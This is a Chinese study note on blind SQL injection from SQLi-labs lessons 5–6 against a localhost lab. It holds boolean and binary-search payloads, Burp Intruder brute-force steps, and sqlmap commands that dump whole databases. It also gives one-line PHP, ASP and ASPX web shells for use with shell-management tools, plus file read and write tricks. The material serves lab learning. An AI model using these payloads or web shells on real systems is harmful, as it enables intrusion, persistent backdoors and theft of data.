lesson5,6总结
1.注入类型
sql注入形成的原因:用户被输入的非法数据被解释器执行
由注入类容区分为:
- 数字类型注入
- 字符类型注入
由提交方式分为:
- get注入
- post注入
- cookies注入
- http注入
由获取信息不同分为:
- 基于bool的盲注,即可以根据返回页面判断条件真假的注入
- 基于时间的盲注,即不能根据页面返回类容判断任何信息,需要用条件语句查看时间延迟语句是否执行来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接放回在页面中。
很明显less1-4都是基于页面返回错误信息的报错注入,而从less5开始接触基于返回页面判断语句真假的bool注入

同样的用?id=1’ –+来判断注入
用?id=1’ order by 3–+来判断列数
但是无法用union select 来输出我们想要的内容
而是需要运用到 left(a,b)来(推测)暴力破解出它的表名,列名,库名甚至是字段
先演示,用?id=1’ and left((database()),1)=’a’ –+

以此类推直到查到库名的第一个字符是’s’

然后再爆破库名第二个字符
直到我们把库名,表名,列名还有字段都爆破出来。
想到这头皮发麻,那么有没有更简单的方法呢?有!
二分法
利用ascii()来将返回的字母转换成数字(整型),
?id=1’ and ascii(substr((database()),1,1))>110–+来减少执行语句的优化。
一般般。
burpsuite爆破
用burpsuite挂代理(proxy)

然后把请求发给instruder

对left((database()),1)=’’ 引号里面 add$,单参数
调整sniper的攻击模式,调整字典为“abcdefghijklmnopqrstuvwxyz”
然后start attack,开始爆破

然后字长不一样的就是正确的
这样省了我们改字母的时间但是无法明确的给出库名还是得一个一试然后拼凑在一起。
那么还有更简便的方法吗?有
sqlmap应用
哈哈!时代变啦!
直接cmd->py sqlmap.py -u ‘http://localhost/Less-5/?id=' –dbs 爆库
py sqlmap.py -u ‘http://localhost/Less-5/?id=1' -D”库名” –tables 爆表
py sqlmap.py -u ‘http://localhost/Less-5/?id=1' -D”库名” -T”表名” –columns 爆字段
py sqlmap.py -u ‘http://localhost/Less-5/?id=1' -D”库名” -T”表名” -C”字段名” –dump 打包丢出
简单易懂,一步到位
详见“鲲鹏杯战后总结”
补充基本知识
- 一句话木马:
php的
1 | @eval($_post["crow"]); //其中crow为密码 |
asp的
1 | <%eval requst(crow)%> |
aspx的
1 | <%@ page language="啥语言"%><%eval(Requst.Item["crow"],"unsafe");%> |
配合 菜刀 蚁剑 食用 味道更佳
- load_file() 读取当地文件
- into outfile 写文件 select ‘crow666’ into outfile ‘C:\phpstudy\text.txt’